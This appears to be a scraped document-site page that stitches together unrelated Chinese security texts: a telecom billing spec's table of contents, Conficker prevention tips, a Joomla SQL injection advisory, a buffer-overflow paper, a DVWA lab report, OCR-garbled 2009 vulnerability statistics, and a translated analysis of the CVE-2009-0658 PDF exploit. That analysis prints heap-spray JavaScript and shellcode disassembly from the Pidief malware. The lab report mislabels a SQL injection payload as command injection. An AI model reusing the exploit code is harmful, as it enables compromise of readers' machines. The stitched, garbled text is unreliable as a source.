(55)6.4.1接口概述 (55)6.4.2接口要求 (55)6.5实时查询接口 (55)6.5.1接口概述 (55)6.5.2接口要求: (56)6.6话单输出接口 (56)6.6.1接口概述 (56)6.6.2接口要求 (56)6.7通知接口 (56)6.7.1接口概述 (56)6.7.2接口要求 (56)6.8运行维护接口 (57)6.8.1接口概述 (57)6.8.2接口要求 (57)7系统管理要求 (59)7.1运行管理 (59)7.1.1性能管理 (59)7.1.2故障管理 (59)7.1.3配置管理 (61)7.1.4系统运行监控 (61)7.1.5集中检测 (61)7.1.7集中控制 (63)7.1.8数据库运行监控 (63)7.2业务统计 (63)7.2.1业务量统计 (63)7.2.2消息处理时间统计 (63)7.2.3消息处理结果统计 (64)7.3审核校验 (64)7.3.1提供系统处理分析报告 (64)7.3.2提供稽查功能 (64)7.4数据管理 (64)7.4.1SID数据同步 (64)7.4.2OCS产品配置数据管理 (64)7.4.2.1产品维护 (65)7.4.2.2产品定价数据管理 (65)7.4.3OCS参数数据管理 (66)7.5日志管理 (66)7.5.1统一的分级日志记录机制 (66)7.5.2日志维护功能 (66)7.5.3日志统计查询功能 (66)7.6版本管理 (67)8性能要求 (68)8.1实时性要求 (68)8.2可靠性要求 (68)8.3可扩展性要求 (68)8.4平滑升级要求 (69)8.5拥塞处理要求 (69)8.6容灾备份要求 (69)9基础平台要求 (71)9.1主机要求 (71)9.1.2硬件冗余 (72)9.1.3软件冗余 (72)9.1.4硬件热插拔 (72)9.1.5软件热插拔 (72)9.1.6过负荷控制 (72)9.2网络要求 (73)9.2.1负荷分担 (73)9.2.2网络分段 (73)9.2.3网络冗余 (74)9.3数据库要求 (75)9.3.1并行数据库 (75)9.3.2数据库备份 (76)9.4存储系统要求 (76)9.5操作系统要求 (76)9.6系统备份要求 (77)9.6.1备份恢复方案 (77)9.6.2备份恢复方案构架 (77)9.7容灾要求 (78)9.7.1容灾功能 (78)9.7.2容灾方案构架 (78)9.7.3容灾方案流程 (79)10系统安全要求 (81)10.1安全机制总体原则 (81)10.2基础设施安全机制 (81)10.3操作系统防护机制 (82)10.4用户管理安全机制 (82)10.5会话管理安全机制 (83)10.6远程维护安全机制 (84)10.7日志机制 (85)10.8.1密码设置规则 (85)10.8.2密码更改规则 (86)10.8.3强制密码更改配置 (86)10.8.4密码有效时间和历史记录 (86)10.8.5登录失败锁定规则 (87)10.9数据备份恢复机制 (87)10.9.1备份策略 (87)10.9.2数据备份 (87)10.9.3数据恢复 (88)图表图1:OCS网络组织示意图 (17)图2:OCS系统结构 (18)图3:基于会话的初始计费控制流程 (25)图4:基于会话的更新计费控制流程 (27)图5:基于会话的中止计费控制流程 (28)图6:基于事件的计费控制流程 (30)图7:计费网关流程 (45)图8:OCS系统外部接口 (46)图9:负荷分担 (73)图10:网络分段 (74)图11:网络冗余 (75)图12:备份恢复方案构架 (78)图13:容灾方案构架 (79)图14:容灾方案流程 (80)图15:用户管理安全机制 (83)中国电信在线计费系统(OCS)技术要求1适用范围本要求为中国电信在线计费系统的技术要求,规定了中国电信在线计费系统的相关内容,包括:系统体系架构、业务功能要求、外部接口要求、业务流程、系统功能要求、性能要求、基础平台要求和系统安全要求等方面。

防范飞客蠕虫病毒知识

防范飞客蠕虫病毒知识

关于Joomla 核心组件存在SQL注入漏洞的安全公告近日,国家信息安全漏洞共享平台(CNVD)收录了Joomla核心组件存在多个SQL注入漏洞(CNVD-2015-06803、CNVD-2015-06804、CNVD-2015-06805,对应CVE-2015-7297、CVE-2015-7857、CVE-2015-7858)。

远程攻击者可利用漏洞,通过劫持管理员会话获取后台管理员权限。

目前,厂商已经发布了补丁修补程序。

一、漏洞情况分析Joomla是一套内容管理系统(CMS),采用PHP+MySQL数据库开发,可运行在Linux、Windows、Mac OS X、Solaris等多种平台上。

其中一个最为严重的漏洞存在于/administrator/components/com_contenthistory/models/history.php文件中,由于list数组中的list[select]参数过滤不严,导致存在SQL注入漏洞。

综合利用漏洞,攻击者可获得后台数据管理员权限,进而获取网站敏感信息。

CNVD对该漏洞的综合评级为“高危”。

二、漏洞影响范围漏洞影响joomla 3.x版本,包括3.2至3.4.4的所有版本。

本次漏洞出现在Joomla自身的核心组件上,只要采用对应Joomla版本的网站服务器均受到影响。

根据CNVD评估情况,Joomla在国内应用数量相对较少,受影响的国家和地区主要位于境外。

三、漏洞修复建议目前,厂商已经发布3.4.5版本,修复了该漏洞。

CNVD提醒用户及时下载补丁更新,避免引发漏洞相关的网络安全事件。

防范方法:(1)1、使用“瑞星全功能安全软件2010”,彻底查杀此病毒,开启“木马行为防御”功能,全面拦截该病毒的未知变种;2、禁用可移动存储设备的自动播放功能,插入U盘后先进行病毒扫描;3、访问客户服务中心网站寻求帮助,使用在线专家门诊获得即时支持。

防范方法:(2)1.断网,如果是局域网的话,把所有电脑的网线全部拔掉;2.针对单台计算机进行病毒清除工作(目前这个病毒的所有变种主流的杀毒软件都能够查杀,只是因为查杀之后,病毒又从其他主机感染刚刚被清除了病毒体的主机,导致杀毒软件不断的发现该病毒,用户以为该杀软无法清除该病毒,这是误区之一。

缓冲区溢出漏洞研究与分析

缓冲区溢出漏洞研究与分析

缓冲区溢出漏洞研究与分析摘要: 缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。

利用缓冲区溢出攻击,可以导致程序运行失败、系统宕机、重新启动、系统被控制等后果。

本文结合实例分析缓冲区溢出漏洞的原理,给出缓冲区溢出漏洞利用方法。

关键词:缓冲区溢出;系统宕机;漏洞利用一前言缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,使得溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患。

缓冲区溢出漏洞是之所以这么多,是在于它的产生是如此的简单。

只要C/C++程序员稍微放松警惕,他的代码里面可能就出现了一个缓冲区溢出漏洞。

二缓冲区溢出漏洞原理如图1所示,汇编语言中,esp寄存器用于指示当前函数栈帧的栈顶的位置,函数中局部变量都存储在栈空间中,栈的生长方向是向下的(即从高地址往低地址方向生长)。

图1 缓冲区溢出原理分析随便往缓冲区中填东西造成它溢出一般只会出现“分段错误”(Segmentation fault),而不能达到攻击的目的。

最常见的手段是通过制造缓冲区溢出使程序运行一个用户shellcode,再通过shellcode执行其它命令。

Shellcode指缓冲区溢出攻击中植入进程的恶意代码,这段代码可以弹出一个消息框,也可以在目标机器上打开一个监听端口,甚至是删除目标机器上的重要文件等。

如果该程序属于root且有suid(Set User ID,)权限的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。

三缓冲区漏洞程序分析1、存在缓冲区溢出漏洞程序源代码file1.c:#includeint main(int argc,char**argv){char buffer[64];gets(buffer);return0;}在gdb中,通过程序汇编如图2所示,定义了一个64字节大小的buffer数组,然后使用gets获取输入数据,gets是不安全的函数,这里会引发缓冲区溢出,栈上函数的返回地址可以被改写,可以输入Shellcode来覆盖栈上的数据,然后通过改写函数返回地址为Shellcode的起始地址来达到执行Shellcode的目的。

命令执行漏洞实验报告

命令执行漏洞实验报告

一、实验背景命令执行漏洞是网络安全领域常见的漏洞类型之一,主要存在于Web应用程序中。

当应用程序未能正确处理用户输入时,攻击者可能利用该漏洞执行任意命令,进而控制服务器,获取敏感信息或造成其他损害。

本实验旨在通过模拟实验,了解命令执行漏洞的原理、攻击方式和修复方法。

二、实验环境1. 操作系统:Windows 102. 开发环境:Apache Tomcat 9.03. 实验工具:DVWA(Damn Vulnerable Web Application)三、实验步骤1. 启动DVWA实验环境,选择“Low”安全等级。

2. 访问DVWA实验环境,点击“SQL Injection”模块。

3. 在“SQL Injection”页面中,输入以下测试语句:“' OR '1'='1”:```http://localhost:8080/DVWA/vulnerabilities/sqli/?id=' OR '1'='1'```4. 观察结果,发现页面成功执行了命令并显示了结果,表明系统中存在命令注入漏洞。

5. 分析代码,发现该漏洞产生的原因是应用程序未能正确处理用户输入,导致攻击者可以构造恶意输入,进而执行任意命令。

6. 将安全等级提高到“Medium”,再次尝试攻击,发现部分特殊字符被黑名单过滤掉了,但命令执行依然可行。

7. 将安全等级提高到“High”,再次尝试攻击,发现用“&”字符进行的测试无法执行,但用“”字符进行的测试仍然可以执行。

8. 将安全等级提高到“Impossible”,再次尝试攻击,发现尝试执行命令被成功拦截,表明系统实施了一系列严格的输入验证措施。

9. 分析代码,发现系统增加了输入验证措施,包括验证CRSF令牌、确保IP地址的每个部分都是数字,并对输入进行了其他限制。

10. 分析代码,发现系统在“Impossible”安全等级下,成功阻止了命令注入漏洞。

2009年安全漏洞态势分析与展望

2009年安全漏洞态势分析与展望
使 用,就不会 因为安全 问题而去安装更新的版本。当用户电脑 上运行着这些存在漏洞的软件时,便可能引入严重的安全 隐患。 4 )We b应用程 序的安全 问题 日益引起人们的重视。We b 应 用程序 漏洞指 的是诸 如内容管理 系统 ( MS 、Wii C ) k 百科 、
的字符 , 是绝大 多数程 序都会假 设数 据长度 总是 与所分 配 但
针对存在 输入验证 错误 的系统 ,可以采取 编辑源代码确
认输人有效 的临时处 理办法。
缓 冲区溢 出是指 当计 算机 向缓 冲区内填充 数据位 数时超 过 了缓 冲区本 身的容量,溢出的数据覆 盖在 合法数 据上。理 想 的情况是程 序检查数 据长度并不允许输入超 过缓 冲区长度
用户群体,而且没有 固 定的补丁发布期 限 ; 很多用户只要能正常
跨站请求伪造 、跨站脚本 、加密错误 、 目录遍历、代码注 人、 格式字符 串错 误、配置错误 、信息泄露 、输入验 证错误 、数
22 0 0 9年 安 全 漏 洞 形 势 分 析
20 0 9年 漏洞 利用 状
况主要呈现 出以下几个 特 点 I_ ] J 1 )远 程 利用。攻 击 者要 利用本 地攻击漏 洞,
被利用最多的漏洞呈现出集 中的特点,针对 Widw 平台以及 no s
其他微软产品漏洞的攻击成为 2 0 0 9年漏洞利用的主体 。 3 )向操作系统之外蔓延。过去,针对 Widw 系统漏洞的 nos 利用占漏洞利用的主导地位 ;但由于微软会定时发布系统补 只要用户及时更新系统 ,就可 以尽可能将风险降到最低 程度, 从而避免漏洞的利用和攻击事件的产生。近几年来,漏洞利用 情况发生了较 明显的变化 ,许多用户经常使用的各种 流行桌面 应用软件 的漏洞成为攻击者的目标 。这些软件不但有着巨大 的
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

CVE-2009-0658漏洞分析题目:CVE-2009-0658漏洞分析原作:Peter Kleissner(http://web17.webbpro.de/index.php?page=analysing-the-pdf-exploit)翻译:Cryin'我想给大家分享下2009年3月对一个Adobe pdf漏洞的分析结果,该漏洞由于JBIG2压缩中的BUG导致执行任意Win32代码。

该漏洞目前(2009年3月3日)已经仅在内部被修补,但Adobe有望在3月11日才发布更新版本。

自2007年以来的所有Adobe阅读器(Adobe Reader 7.0和更高版本都受影响),恶意PDF文件利用此漏洞的成功率非常低,所以传播的不是很广泛。

PDF文件概览首先让我们大概的认识下一般的PDF恶意文件•JavaScript代码,使Exploit成为可能•Shellcode集成在JavaScript代码中(加载在Stream里面)•Exploit Code,包含在PDF文件的Stream中并经过加密的可执行文件(malware)•伪造的PDF文件,实现隐藏的目的PDF漏洞文件开发主要有三个部分:JavaScript代码、Shellcode、Exploit Code。

这三部分在漏洞利用开发过程中都同等重要。

Pidief是一个知名度很高、传播十分广泛的病毒家族(本文分析的也是),在其历史上它利用各种Adobe Pdf漏洞来执行恶意程序(malware).下面分析的就是Pidief家族中鲜活的实例。

尽情享受吧!JavaScript代码Pidief包含的第一段JavaScript代码作为脚本存储在PDF文件的Object对象中,代码经过八进制编码后如下面所示:2 0 obj<</S /JavaScript/JS(\040\012\012\040\040\040\040\040\040\040\040\146\165\156\143\164\151\157\156\0 40\160\162\151\156\164\111\156\146\157\050\051\173\012\040\040\040\040\040\040\040\04 0\040\040\040\040\143\157\156\163\157\154\145\056\160\162\151\156\164\154\156\050\042\12 6\151\145\167\145\162\040\154\141\156\147\165\141\147\145\072\040\042\040\053\040\141\16 0\160\056\154\141\156\147\165\141\147\145\051\073\012\040\040\040\040\040\040\040\040\04 0\040\040\040\143\157\156\163\157\154\145\056\160\162\151\156\164\154\156\050\042\126\151\145\167\145\162\040\166\1...>>endobjJS脚本相当大,解码后长度为42792字节(其中主要部分是Shellcode)。

在演示解码后的Java代码之前,我想简单介绍一下PDF文件中的JavaScript代码是如何执行的。

Adobe使用自己的内部引擎,大家可能想到是IE浏览器,但Adobe并没有使用IE浏览器引擎。

JavaScript是由不同的动作(triggers)执行。

根据一份来自Adobe的德文文档所述,一共有7个动作用来执行JavaScript,这里使用的是第一个动作,Open Document。

所以这样也带来一个很重要的限制,PDF中执行JavaScript是依赖动作的。

下面是动作Open Document 时注册要执行的JavaScript代码:3 0 obj<</Type /Catalog/Outlines 4 0 R/Pages 5 0 R/OpenAction 2 0 R>>endobjOpenAction定义了执行的对象obj 2 0,也就是包含了上面经过Oct编码的JavaScript代码的对象。

function printInfo(){console.println("Viewer language: " + nguage);console.println("Viewer version: " + app.viewerVersion);console.println("Viewer Type: " + app.viewerType);console.println("Viewer Variatio: " + app.viewerVariation);console.println("Dumping all data objects in the document.");if ( this.external ){console.println("viewing from a browser.");}else{console.println("viewing in the Acrobat application.");}...该脚本只包含两个函数:printInfo()和sprayWindows()。

第一个仅输出关于PDF浏览器的信息(调试使用),第二个函数用来准备内存并将Shellcode填充到内存里面。

正如上面提到脚本长度为42792字节,但只有150行,这就使得它很容易被读取。

有趣的是JavaScript 里甚至包含了一些注释信息:// Create a 1MB string of NOP instructions followed by shellcode://// malloc header string length NOP slide shellcode NULL terminator// 32 bytes 4 bytes x bytes y bytes 2 byteswhile (pointers.length <= 0x100000/2)pointers += pointers;//Pointerspointers = pointers.substring(0, 0x100000/2 - 32/2 - 4/2 - pointers1.length - 2/2 );while (nop.length <= 0x100000/2)nop += nop;//Trampolinnop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - jmp.length - 2/2);// while (nop1.length <= 0x100000/2)// nop1 += nop1;//shelcode <1M// nop1 = nop1.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2 );Exploit如何工作像往常一样,PDF漏洞文件一般都是利用软件(Adobe Reader)的BUG(exploiting)而开发的。

一个常见的技术如“缓冲区溢出”,尝试溢出在栈上的缓冲区并并覆盖函数返回跳转地址到指定数据。

这里使用的正是这种技术,并利用JBIG2压缩的漏洞实现。

JavaScript代码开辟了200MB内存并使用NOP指令(空操作,汇编指令)和Shellcode填充。

然后JBIG2压缩漏洞将导致程序跳转到200MB内存的某个位置去执行。

这就是为什么有这么多的NOP指令,正因入口点位置不能确定,所以NOP指令将被执行,最后执行到Shellcode。

以下代码用来开辟200MB内存:var x = new Array();// Fill 200MB of memory with copies of the NOP slide and shellcodefor (i = 0; i < 150; i++) {x[i] = nop+shellcode;}// x[i++] = nop1+shellcode;for (; i < 201; i++) {x[i] = pointers + pointers1;}这里非常有趣的是为了在不同的版本下利用该漏洞,针对Adobe Reader 9 和Adobe Reader 7.0(以及更高版本)有不同的代码进行处理:if(app.viewerVersion>=7.0&app.viewerVersion<9){ShellcodeJavaScript代码将Shellcode填充到内存,以便在Adobe Reader漏洞触发时执行。

Shellcode 本身是有效的Win32代码,存储并被escaped在JavaScript代码中。

这里我们禁用JavaScript引擎,并进入阅读器窗口。

在前四个字节,Shellcode在最开始包含了"JBIA"缩写字样并紧跟着4句垃圾指令代码。

让它们记录并返回调用Shellcode的目标:从PDF 文件中释放并执行两个可执行文件。

让我们看看初始化代码:; [junk code] - "JBIA"00000000 4A dec edx00000001 42 inc edx00000002 49 dec ecx00000003 41 inc ecx; create data on stack (284 bytes)00000004 81EC20010000 sub esp,2880000000A 8BFC mov edi,esp0000000C 83C704 add edi,4 ; edi is a pointer to the new allocated data; store the hashes of Windows API functions for later usage0000000F C7073274910C mov dword [edi],0xc917432 ; LoadLibraryA00000015 C747048E130AAC mov dword [edi+0x4],0xac0a138e ; GetFileSize0000001C C7470839E27D83 mov dword [edi+0x8],0x837de239 ; GetTempPathA00000023 C7470C8FF21861 mov dword [edi+0xc],0x6118f28f ; TerminateProcess0000002A C747109332E494 mov dword [edi+0x10],0x94e43293 ; CreateFileA00000031 C74714A932E494 mov dword [edi+0x14],0x94e432a9 ; CreateFileW00000038 C7471843BEACDB mov dword [edi+0x18],0xdbacbe43 ; SetFilePointer0000003F C7471CB2360F13 mov dword [edi+0x1c],0x130f36b2 ; ReadFile00000046 C74720C48D1F74 mov dword [edi+0x20],0x741f8dc4 ; WriteFile0000004D C74724512FA201 mov dword [edi+0x24],0x1a22f51 ; WinExec00000054 C7472857660DFF mov dword [edi+0x28],0xff0d6657 ; CloseHandle0000005B C7472C9B878BE5 mov dword [edi+0x2c],0xe58b879b ; GetCommandLineA00000062 C74730EDAFFFB4 mov dword [edi+0x30],0xb4ffafed ; GetModuleFileNameA; call the code following this instruction00000069 E997020000 jmp dword Execute_Function..Execute_Function:00000305 E864FDFFFF call Execute_Shellcode; just for obfuscation, this will never return可以看到函数的hash值被存放在堆栈中,然后是一个用来迷惑大家的Call(译者:正如上面所说"this will never return")。

相关文档
最新文档